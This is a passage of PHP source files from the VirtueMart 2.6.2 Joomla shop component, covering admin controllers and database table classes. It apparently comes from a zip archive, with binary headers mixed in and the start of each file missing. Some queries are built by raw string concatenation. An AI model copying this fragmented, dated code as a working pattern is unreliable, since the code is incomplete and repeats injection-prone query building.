restart'; } $this->setRedirect($this->redirectPath, $result); } function migrateProductsFromVmOne(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateProducts(); if($result){ $msg = 'Migration products finished'; } else { $msg = 'Migration products was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $result); } function migrateOrdersFromVmOne(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateOrders(); if($result){ $msg = 'Migration orders finished'; } else { $msg = 'Migration orders was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $result); } /** * Is doing all migrator steps in one row * * @author Max Milbers */ function migrateAllInOne(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateAllInOne(); if($result){ $msg = 'Migration finished'; } else { $msg = 'Migration was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $msg); } function portVmAttributes(){ $data = JRequest::get('get'); if(!empty($data['token']))JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->portVm1Attributes(); if($result){ $msg = 'Migration Vm2 attributes finished'; } else { $msg = 'Migration was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $msg); } function portVmRelatedProducts(){ $data = JRequest::get('get'); if(!empty($data['token']))JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->portVm1RelatedProducts(); if($result){ $msg = 'Migration Vm2 related products finished'; } else { $msg = 'Migration was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $msg); } function reOrderChilds(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $this->storeMigrationOptionsInSession(); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $result = $updater->reOrderChilds(); //$msg = 'reOrderDone'; $this->setRedirect($this->redirectPath, $result); } function storeMigrationOptionsInSession(){ $session = JFactory::getSession(); $session->set('migration_task', JRequest::getString('task',''), 'vm'); $session->set('migration_default_category_browse', JRequest::getString('migration_default_category_browse',''), 'vm'); $session->set('migration_default_category_fly', JRequest::getString('migration_default_category_fly',''), 'vm'); } function resetThumbs(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $model = VmModel::getModel('updatesMigration'); $result = $model->resetThumbs(); $this->setRedirect($this->redirectPath, $result); } } PKs>\ |(com_virtuemart/controllers/inventory.phpnuW+A\t=995com_virtuemart/controllers/manufacturercategories.phpnuW+A\ YD-D-&com_virtuemart/controllers/product.phpnuW+AaddViewPath(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_virtuemart' . DS . 'views'); } /** * Shows the product add/edit screen */ public function edit($layout='edit') { parent::edit('product_edit'); } /** * We want to allow html so we need to overwrite some request data * * @author Max Milbers */ function save($data = 0){ $data = JRequest::get('post'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check('admin')){ $data['product_desc'] = JRequest::getVar('product_desc','','post','STRING',2); $data['product_s_desc'] = JRequest::getVar('product_s_desc','','post','STRING',2); $data['customtitle'] = JRequest::getVar('customtitle','','post','STRING',2); } else { $data['product_desc'] = JRequest::getVar('product_desc','','post','STRING',2); $data['product_desc'] = JComponentHelper::filterText($data['product_desc']); //Why we have this? $multix = Vmconfig::get('multix','none'); if( $multix != 'none' ){ //in fact this shoudl be used, when the mode is administrated and the sysetm is so that //every product must be approved by an admin. unset($data['published']); //unset($data['childs']); } } parent::save($data); } function saveJS(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit( 'Invalid Token save' ); $model = VmModel::getModel($this->_cname); $id = $model->store($data); $errors = $model->getErrors(); if(empty($errors)) { $msg = JText::sprintf('COM_VIRTUEMART_STRING_SAVED',$this->mainLangKey); $type = 'save'; } else $type = 'error'; foreach($errors as $error){ $msg = ($error).'
      '; } $json['msg'] = $msg; if ($id) { $json['product_id'] = $id; $json['ok'] = 1 ; } else { $json['ok'] = 0 ; } echo json_encode($json); jExit(); } /** * This task creates a child by a given product id * * @author Max Milbers */ public function createChild(){ $app = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('product', 'html'); $model = VmModel::getModel('product'); //$cids = JRequest::getVar('cid'); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'), '', 'ARRAY'); //jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach($cids as $cid){ if ($id=$model->createChild($cid)){ $msg = JText::_('COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY'); $redirect = 'index.php?option=com_virtuemart&view=product&task=edit&product_parent_id='.$cids[0].'&virtuemart_product_id='.$id; } else { $msg = JText::_('COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY'); $msgtype = 'error'; $redirect = 'index.php?option=com_virtuemart&view=product'; } } $app->redirect($redirect, $msg, $msgtype); } /** * This task creates a child by a given product id * * @author Max Milbers */ public function createVariant(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $app = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('product', 'html'); $model = VmModel::getModel('product'); //$cids = JRequest::getVar('cid'); //$cid = JRequest::getInt('virtuemart_product_id',0); $cid = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($cid) && count($cid) > 0){ $cid = (int)$cid[0]; } else { $cid = (int)$cid; } if(empty($cid)){ $msg = JText::_('COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY'); // $redirect = 'index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$cid; } else { if ($id=$model->createChild($cid)){ $msg = JText::_('COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY'); $redirect = 'index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$cid; } else { $msg = JText::_('COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY'); $msgtype = 'error'; $redirect = 'index.php?option=com_virtuemart&view=product'; } // vmdebug('$redirect '.$redirect); $app->redirect($redirect, $msg, $msgtype); } } public function massxref_sgrps(){ $this->massxref('massxref'); } public function massxref_sgrps_exe(){ $virtuemart_shoppergroup_ids = JRequest::getVar('virtuemart_shoppergroup_id',array(),'', 'ARRAY'); JArrayHelper::toInteger($virtuemart_shoppergroup_ids); $session = JFactory::getSession(); $cids = unserialize($session->get('vm_product_ids', array(), 'vm')); $productModel = VmModel::getModel('product'); foreach($cids as $cid){ $data = array('virtuemart_product_id' => $cid, 'virtuemart_shoppergroup_id' => $virtuemart_shoppergroup_ids); $data = $productModel->updateXrefAndChildTables ($data, 'product_shoppergroups'); } $this->massxref('massxref_sgrps'); } public function massxref_cats(){ $this->massxref('massxref'); } public function massxref_cats_exe(){ $virtuemart_cat_ids = JRequest::getVar('cid',array(),'', 'ARRAY'); JArrayHelper::toInteger($virtuemart_cat_ids); $session = JFactory::getSession(); $cids = unserialize($session->get('vm_product_ids', array(), 'vm')); $productModel = VmModel::getModel('product'); foreach($cids as $cid){ $data = array('virtuemart_product_id' => $cid, 'virtuemart_category_id' => $virtuemart_cat_ids); $data = $productModel->updateXrefAndChildTables ($data, 'product_categories',TRUE); } $this->massxref('massxref_cats'); } /** * */ public function massxref($layoutName){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $cids = JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'); JArrayHelper::toInteger($cids); if(empty($cids)){ $session = JFactory::getSession(); $cids = unserialize($session->get('vm_product_ids', '', 'vm')); } else { $session = JFactory::getSession(); $session->set('vm_product_ids', serialize($cids),'vm'); } if(!empty($cids)){ $q = 'SELECT `product_name` FROM `#__virtuemart_products_' . VMLANG . '` '; $q .= ' WHERE `virtuemart_product_id` IN (' . implode(',', $cids) . ')'; $db = JFactory::getDbo(); $db->setQuery($q); $productNames = $db->loadResultArray(); vmInfo('COM_VIRTUEMART_PRODUCT_XREF_NAMES',implode(', ',$productNames)); } $this->addViewPath(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_virtuemart' . DS . 'views'); $document = JFactory::getDocument(); $viewType = $document->getType(); $view = $this->getView($this->_cname, $viewType); $view->setLayout($layoutName); $view->display(); } /** * Clone a product * * @author Max Milbers */ public function CloneProduct() { $mainframe = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('product', 'html'); $model = VmModel::getModel('product'); $msgtype = ''; //$cids = JRequest::getInt('virtuemart_product_id',0); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'), '', 'ARRAY'); //jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach($cids as $cid){ if ($model->createClone($cid)) { $msg = JText::_('COM_VIRTUEMART_PRODUCT_CLONED_SUCCESSFULLY'); } else { $msg = JText::_('COM_VIRTUEMART_PRODUCT_NOT_CLONED_SUCCESSFULLY'); $msgtype = 'error'; } } $mainframe->redirect('index.php?option=com_virtuemart&view=product', $msg, $msgtype); } /** * Get a list of related products, categories * or customfields * @author Max Milbers * @author Kohl Patrick */ public function getData() { /* Create the view object. */ $view = $this->getView('product', 'json'); /* Now display the view. */ $view->display(NULL); } /** * Add a product rating * @author Max Milbers */ public function addRating() { $mainframe = Jfactory::getApplication(); /* Get the product ID */ // $cids = array(); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'), '', 'ARRAY'); jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); // if (!is_array($cids)) $cids = array($cids); $mainframe->redirect('index.php?option=com_virtuemart&view=ratings&task=add&virtuemart_product_id='.$cids[0]); } public function ajax_notifyUsers(){ //vmdebug('updatestatus'); $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'); if(is_array($virtuemart_product_id) and count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $subject = JRequest::getVar('subject', ''); $mailbody = JRequest::getVar('mailbody', ''); $max_number = (int)JRequest::getVar('max_number', ''); $waitinglist = VmModel::getModel('Waitinglist'); $waitinglist->notifyList($virtuemart_product_id,$subject,$mailbody,$max_number); exit; } public function ajax_waitinglist() { $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $waitinglistmodel = VmModel::getModel('waitinglist'); $waitinglist = $waitinglistmodel->getWaitingusers($virtuemart_product_id); if(empty($waitinglist)) $waitinglist = array(); echo json_encode($waitinglist); exit; /* $result = array(); foreach($waitinglist as $wait) array_push($result,array("virtuemart_user_id"=>$wait->virtuemart_user_id,"notify_email"=>$wait->notify_email,'name'=>$wait->name,'username'=>$wait->username)); echo json_encode($result); exit; */ } } // pure php no closing tag PKs>\v` ` %com_virtuemart/controllers/custom.phpnuW+AgetView('custom', 'json'); // Now display the view. $view->display(null); } function save($data = 0) { $data = JRequest::get('post'); // onSaveCustom plugin; parent::save($data); } /** * Clone a product * * @author Max Milbers */ public function createClone() { $mainframe = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('custom', 'html'); $model = VmModel::getModel('custom'); $msgtype = ''; $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_custom_id',array(),'', 'ARRAY'), '', 'ARRAY'); jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach ($cids as $custom_id) { if ($model->createClone($custom_id)) $msg = JText::_('COM_VIRTUEMART_CUSTOM_CLONED_SUCCESSFULLY'); else { $msg = JText::_('COM_VIRTUEMART_CUSTOM_NOT_CLONED_SUCCESSFULLY').' : '.$custom_id; $msgtype = 'error'; } } $mainframe->redirect('index.php?option=com_virtuemart&view=custom', $msg, $msgtype); } } // pure php no closing tag PKs>\!xFQ'com_virtuemart/controllers/currency.phpnuW+A\Pf܀&com_virtuemart/controllers/ratings.phpnuW+A_cname); JRequest::setVar('view', $this->_cname); JRequest::setVar('layout', 'edit_review'); // JRequest::setVar('hidemenu', 1); if(empty($view)){ $document = JFactory::getDocument(); $viewType = $document->getType(); $view = $this->getView($this->_cname, $viewType); } parent::display(); } /** * lits the reviews * @author Max Milbers */ public function listreviews(){ /* Create the view object */ $view = $this->getView('ratings', 'html'); $view->setLayout('list_reviews'); $view->display(); } /** * we must overwrite it here, because the task publish can be meant for two different list layouts. */ function publish(){ JRequest::checkToken() or jexit( 'Invalid Token save' ); $layout = JRequest::getString('layout','default'); if($layout=='list_reviews'){ $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $redPath = ''; if (!empty($virtuemart_product_id)) { $redPath = '&task=listreviews&virtuemart_product_id=' . $virtuemart_product_id; } parent::publish('virtuemart_rating_review_id','rating_reviews',$this->redirectPath.$redPath); } else { parent::publish(); } } function unpublish(){ JRequest::checkToken() or jexit( 'Invalid Token save' ); $layout = JRequest::getString('layout','default'); if($layout=='list_reviews'){ $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $redPath = ''; if (!empty($virtuemart_product_id)) { $redPath = '&task=listreviews&virtuemart_product_id=' . $virtuemart_product_id; } parent::unpublish('virtuemart_rating_review_id','rating_reviews',$this->redirectPath.$redPath); } else { parent::unpublish(); } } /** * Save task for review * * @author Max Milbers */ function saveReview(){ $this->storeReview(FALSE); } /** * Save task for review * * @author Max Milbers */ function applyReview(){ $this->storeReview(TRUE); } function storeReview($apply){ JRequest::checkToken() or jexit( 'Invalid Token save' ); if (empty($data)){ $data = JRequest::get ('post'); } $model = VmModel::getModel($this->_cname); $id = $model->saveRating($data); $errors = $model->getErrors(); if (empty($errors)) { $msg = JText::sprintf ('COM_VIRTUEMART_STRING_SAVED', $this->mainLangKey); } foreach($errors as $error){ $msg = ($error).'
      '; } $redir = $this->redirectPath; if($apply){ $redir = 'index.php?option=com_virtuemart&view=ratings&task=edit_review&virtuemart_rating_review_id='.$id; } else { $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $redir = 'index.php?option=com_virtuemart&view=ratings&task=listreviews&virtuemart_product_id='.$virtuemart_product_id; } $this->setRedirect($redir, $msg); } /** * Save task for review * * @author Max Milbers */ function cancelEditReview(){ $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $msg = JText::sprintf('COM_VIRTUEMART_STRING_CANCELLED',$this->mainLangKey); //'COM_VIRTUEMART_OPERATION_CANCELED' $this->setRedirect('index.php?option=com_virtuemart&view=ratings&task=listreviews&virtuemart_product_id='.$virtuemart_product_id, $msg); } } // pure php no closing tag PKs>\($com_virtuemart/controllers/state.phpnuW+AgetStates( JFilterInput::clean($country, 'INTEGER'),true,true ); } echo json_encode($states); jExit(); } }PKs>\I+|d d %com_virtuemart/controllers/plugin.phpnuW+Atrigger ('plgVmOnSelfCallFE', array($type, $name, &$render)); if ($render) { // Get the document object. $document = JFactory::getDocument (); if (JRequest::getWord ('cache') == 'no') { JResponse::setHeader ('Cache-Control', 'no-cache, must-revalidate'); JResponse::setHeader ('Expires', 'Mon, 6 Jul 2000 10:00:00 GMT'); } $format = JRequest::getWord ('format', 'json'); if ($format == 'json') { $document->setMimeEncoding ('application/json'); // Change the suggested filename. JResponse::setHeader ('Content-Disposition', 'attachment;filename="' . $type . '".json"'); echo json_encode ($render); } else { echo $render; } } } } PKs>\LI  'com_virtuemart/controllers/category.phpnuW+AregisterTask('browse','category'); } /** * Function Description * * @author RolandD * @author George * @access public */ public function display($cachable = false, $urlparams = false) { if (JRequest::getvar('search')) { $view = $this->getView('category', 'html'); $view->display(); } else { // Display it all $document = JFactory::getDocument(); $viewType = $document->getType(); $viewName = JRequest::getCmd('view', $this->default_view); $viewLayout = JRequest::getCmd('layout', 'default'); $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout)); $view->assignRef('document', $document); $view->display(); } if($categoryId = JRequest::getInt('virtuemart_category_id',0)){ shopFunctionsF::setLastVisitedCategoryId($categoryId); } return $this; } } // pure php no closing tag PKs>\𷫮%com_virtuemart/controllers/orders.phpnuW+AgetView($viewName, $format); // Display it all $view->display(); } } // No closing tag PKs>\.}=//*com_virtuemart/controllers/orderstatus.phpnuW+A\0S  -com_virtuemart/controllers/shipmentmethod.phpnuW+AgetView('shipmentmethod', 'html'); $model = VmModel::getModel('shipmentmethod'); $msgtype = ''; //$cids = JRequest::getInt('virtuemart_product_id',0); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_shipment_id',array(),'', 'ARRAY'), '', 'ARRAY'); //jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach($cids as $cid){ if ($model->createClone($cid)) $msg = JText::_('COM_VIRTUEMART_SHIPMENT_CLONED_SUCCESSFULLY'); else { $msg = JText::_('COM_VIRTUEMART_SHIPMENT_NOT_CLONED_SUCCESSFULLY'); $msgtype = 'error'; } } $mainframe->redirect('index.php?option=com_virtuemart&view=shipmentmethod', $msg, $msgtype); } } // pure php no closing tag PKs>\$ $ ,com_virtuemart/controllers/paymentmethod.phpnuW+AgetView('paymentmethod', 'html'); $model = VmModel::getModel('paymentmethod'); $msgtype = ''; //$cids = JRequest::getInt('virtuemart_product_id',0); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_payment_id',array(),'', 'ARRAY'), '', 'ARRAY'); //jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach($cids as $cid){ if ($model->createClone($cid)) $msg = JText::_('COM_VIRTUEMART_PAYMENT_CLONED_SUCCESSFULLY'); else { $msg = JText::_('COM_VIRTUEMART_PAYMENT_NOT_CLONED_SUCCESSFULLY'); $msgtype = 'error'; } } $mainframe->redirect('index.php?option=com_virtuemart&view=paymentmethod', $msg, $msgtype); } } // pure php no closing tag PKs>\7Nqcom_virtuemart/config.xmlnuW+A
      PKs>\Wwcom_virtuemart/version.phpnuW+A" . vmVersion::$RELDATE . " " . vmVersion::$RELTIME . " " . vmVersion::$RELTZ; return; } if( !class_exists( 'vmVersion' ) ) { /** Version information */ class vmVersion { /** @var string Product */ static $PRODUCT = 'VirtueMart'; /** @var int Release Number */ static $RELEASE = '2.6.2'; /** @var string Development Status */ static $DEV_STATUS = 'MINOR'; /** @var string Codename */ static $CODENAME = 'PowerFox'; /** @var string Date */ static $RELDATE = 'May 22 2014'; /** @var string Time */ static $RELTIME = '1259'; /** @var string Timezone */ static $RELTZ = 'GMT'; /** @var string Revision */ static $REVISION = 'Revision: 7985'; /** @var string Copyright Text */ static $COPYRIGHT = 'Copyright (C) 2005-2012 VirtueMart Development Team - All rights reserved.'; /** @var string URL */ static $URL = 'VirtueMart is a Free Component for Joomla! released under the GNU/GPL2 License.'; } $shortversion = vmVersion::$PRODUCT . " " . vmVersion::$RELEASE . " " . vmVersion::$DEV_STATUS. " "; $myVersion = $shortversion .' '.vmVersion::$REVISION. " [".vmVersion::$CODENAME ."]
      " . vmVersion::$RELDATE . " " . vmVersion::$RELTIME . " " . vmVersion::$RELTZ; } // pure php no closing tagPKs>\Gf99/com_virtuemart/tables/product_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } }PKs>\X!!)com_virtuemart/tables/category_medias.phpnuW+AsetPrimaryKey('virtuemart_category_id'); $this->setSecondaryKey('virtuemart_media_id'); $this->setOrderable(); $this->setTableShortCut('cm'); } } PKs>\setPrimaryKey('virtuemart_category_id'); $this->setObligatoryKeys('category_name'); $this->setLoggable(); $this->setTranslatable(array('category_name','category_description','metadesc','metakey','customtitle')); $this->setSlug('category_name'); $this->setTableShortCut('c'); } public function check(){ $csValue = $this->limit_list_step; if(!empty($csValue)){ $sequenceArray = explode(',', $csValue); foreach($sequenceArray as &$csV){ $csV = (int)trim($csV); } $this->limit_list_step = implode(',',$sequenceArray); vmdebug('my check',$this->limit_list_step); } return parent::check(); } /** * Overwrite method * * @author jseros * @param $dirn movement number * @param $parent_id category parent id * @param $where sql WHERE clausule */ public function move( $dirn, $parent_id = 0, $where='' ) { if (!in_array( 'ordering', array_keys($this->getProperties()))) { vmError( get_class( $this ).' does not support ordering' ); return false; } $k = $this->_tbl_key; $sql = "SELECT c.".$this->_tbl_key.", c.ordering FROM ".$this->_tbl." c LEFT JOIN #__virtuemart_category_categories cx ON c.virtuemart_category_id = cx.category_child_id"; $condition = 'cx.category_parent_id = '. $this->_db->Quote($parent_id); $where = ($where ? ' AND '.$condition : $condition); if ($dirn < 0) { $sql .= ' WHERE c.ordering < '.(int) $this->ordering; $sql .= ($where ? ' AND '.$where : ''); $sql .= ' ORDER BY c.ordering DESC'; } else if ($dirn > 0) { $sql .= ' WHERE c.ordering > '.(int) $this->ordering; $sql .= ($where ? ' AND '. $where : ''); $sql .= ' ORDER BY c.ordering'; } else { $sql .= ' WHERE c.ordering = '.(int) $this->ordering; $sql .= ($where ? ' AND '.$where : ''); $sql .= ' ORDER BY c.ordering'; } $this->_db->setQuery( $sql, 0, 1 ); $row = null; $row = $this->_db->loadObject(); if (isset($row)) { $query = 'UPDATE '. $this->_tbl . ' SET ordering = '. (int) $row->ordering . ' WHERE '. $this->_tbl_key .' = '. $this->_db->Quote($this->$k) ; $this->_db->setQuery( $query ); if (!$this->_db->query()) { $err = $this->_db->getErrorMsg(); JError::raiseError( 500, 'TableCategories move isset row this->k '.$err ); } $query = 'UPDATE '.$this->_tbl . ' SET ordering = '.(int) $this->ordering . ' WHERE '.$this->_tbl_key.' = '.$this->_db->Quote($row->$k) ; $this->_db->setQuery( $query ); if (!$this->_db->query()) { $err = $this->_db->getErrorMsg(); JError::raiseError( 500, 'TableCategories move isset row $row->$k '.$err ); } $this->ordering = $row->ordering; } else { $query = 'UPDATE '. $this->_tbl . ' SET ordering = '.(int) $this->ordering . ' WHERE '. $this->_tbl_key .' = '. $this->_db->Quote($this->$k) ; $this->_db->setQuery( $query ); if (!$this->_db->query()) { $err = $this->_db->getErrorMsg(); JError::raiseError( 500, 'TableCategories move update '.$err ); } } return true; } /** * Overwrite method * Compacts the ordering sequence of the selected records * @author jseros * * @param $parent_id category parent id * @param string Additional where query to limit ordering to a particular subset of records */ function reorder( $parent_id = 0, $where='' ) { $k = $this->_tbl_key; if (!in_array( 'ordering', array_keys($this->getProperties() ) )) { vmError( get_class( $this ).' does not support ordering'); return false; } $query = 'SELECT c.'.$this->_tbl_key.', c.ordering' . ' FROM '. $this->_tbl . ' c' . ' LEFT JOIN #__virtuemart_category_categories cx' . ' ON c.virtuemart_category_id = cx.category_child_id' . ' WHERE c.ordering >= 0' . ( $where ? ' AND '. $where : '' ) . ' AND cx.category_parent_id = '. $parent_id . ' ORDER BY c.ordering'.$order2; $this->_db->setQuery( $query ); if (!($orders = $this->_db->loadObjectList())) { vmError($this->_db->getErrorMsg()); return false; } // compact the ordering numbers for ($i=0, $n=count( $orders ); $i < $n; $i++) { if ($orders[$i]->ordering >= 0) { if ($orders[$i]->ordering != $i+1) { $orders[$i]->ordering = $i+1; $query = 'UPDATE '.$this->_tbl . ' SET ordering = '. (int) $orders[$i]->ordering . ' WHERE '. $k .' = '. $this->_db->Quote($orders[$i]->$k) ; $this->_db->setQuery( $query); $this->_db->query(); } } } return true; } } PKs>\ n#com_virtuemart/tables/userinfos.phpnuW+AsetPrimaryKey('virtuemart_userinfo_id'); $this->setObligatoryKeys('address_type'); $this->setObligatoryKeys('virtuemart_user_id'); $this->setLoggable(); $this->setTableShortCut('ui'); } /** * Validates the user info record fields. * * @author RickG, RolandD, Max Milbers * @return boolean True if the table buffer is contains valid data, false otherwise. */ public function check(){ if($this->address_type=='BT' or $this->address_type=='ST' ){ if($this->address_type=='ST' and empty($this->address_type_name)){ $this->address_type_name = 'Delivery Address '.rand(1,9); vmWarn('Table userinfos check failed: address_type '.$this->address_type.' without name, autogenerated '.$this->address_type_name,'check failed: ST has no name, autogenerated '.$this->address_type_name); //return false; } } else { vmError('Table userinfos check failed: Unknown address_type '.$this->address_type,'check failed: Unknown address_type '); vmdebug('Table userinfos check failed: Unknown address_type '.$this->address_type.' virtuemart_user_id '.$this->virtuemart_user_id.' name '.$this->name); return false; } if (!empty($this->virtuemart_userinfo_id)) { $this->virtuemart_userinfo_id = (int)$this->virtuemart_userinfo_id; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin")) { $q = "SELECT virtuemart_user_id FROM #__virtuemart_userinfos WHERE virtuemart_userinfo_id = ".$this->virtuemart_userinfo_id; $this->_db->setQuery($q); $total = $this->_db->loadResultArray(); if (count($total) > 0) { $userId = JFactory::getUser()->id; if($total[0]!=$userId){ vmError('Hacking attempt uid check, you got logged'); echo 'Hacking attempt uid check, you got logged'; return false; } } } //return parent::check(); } else { if(empty($this->address_type)) $this->address_type = 'BT'; /* Check if a record exists */ $q = "SELECT virtuemart_userinfo_id FROM #__virtuemart_userinfos WHERE virtuemart_user_id = ".$this->virtuemart_user_id." AND address_type = ".$this->_db->Quote($this->address_type); if($this->address_type!='BT'){ $q .= " AND address_type_name = ".$this->_db->Quote($this->address_type_name); } $this->_db->setQuery($q); $total = $this->_db->loadResultArray(); if (count($total) > 0) { $this->virtuemart_userinfo_id = (int)$total[0]; } else { $this->virtuemart_userinfo_id = 0;//md5(uniqid($this->virtuemart_user_id)); } } if(empty($this->virtuemart_user_id)){ $user = JFactory::getUser(); if(!empty($user->id)){ $this->virtuemart_user_id = $user->id; } } return parent::check(); } /** * Overloaded delete() to delete a list of virtuemart_userinfo_id's based on the user id * @var mixed id * @return boolean True on success * @author Oscar van Eijk */ function delete( $id=null , $where = 0 ){ // TODO If $id is not numeric, assume it's a virtuemart_userinfo_id. Validate if this is safe enough if (!is_numeric($id)) { return (parent::delete($id)); } // Implicit else $this->_db->setQuery('DELETE from `#__virtuemart_userinfos` WHERE `virtuemart_user_id` = ' . $id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } return true; } } // No Closing tag PKs>\όA` ` *com_virtuemart/tables/userfield_values.phpnuW+AsetPrimaryKey('virtuemart_userfield_id'); } /** * Validates the userfields record fields, and checks if the given value already exists. * If so, the primary key is set. * * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check() { if (preg_match('/[^a-z0-9\._\-]/i', $this->fieldvalue) > 0) { vmError(JText::_('COM_VIRTUEMART_TITLE_IN_FIELDVALUES_CONTAINS_INVALID_CHARACTERS')); return false; } $db = JFactory::getDBO(); $q = 'SELECT 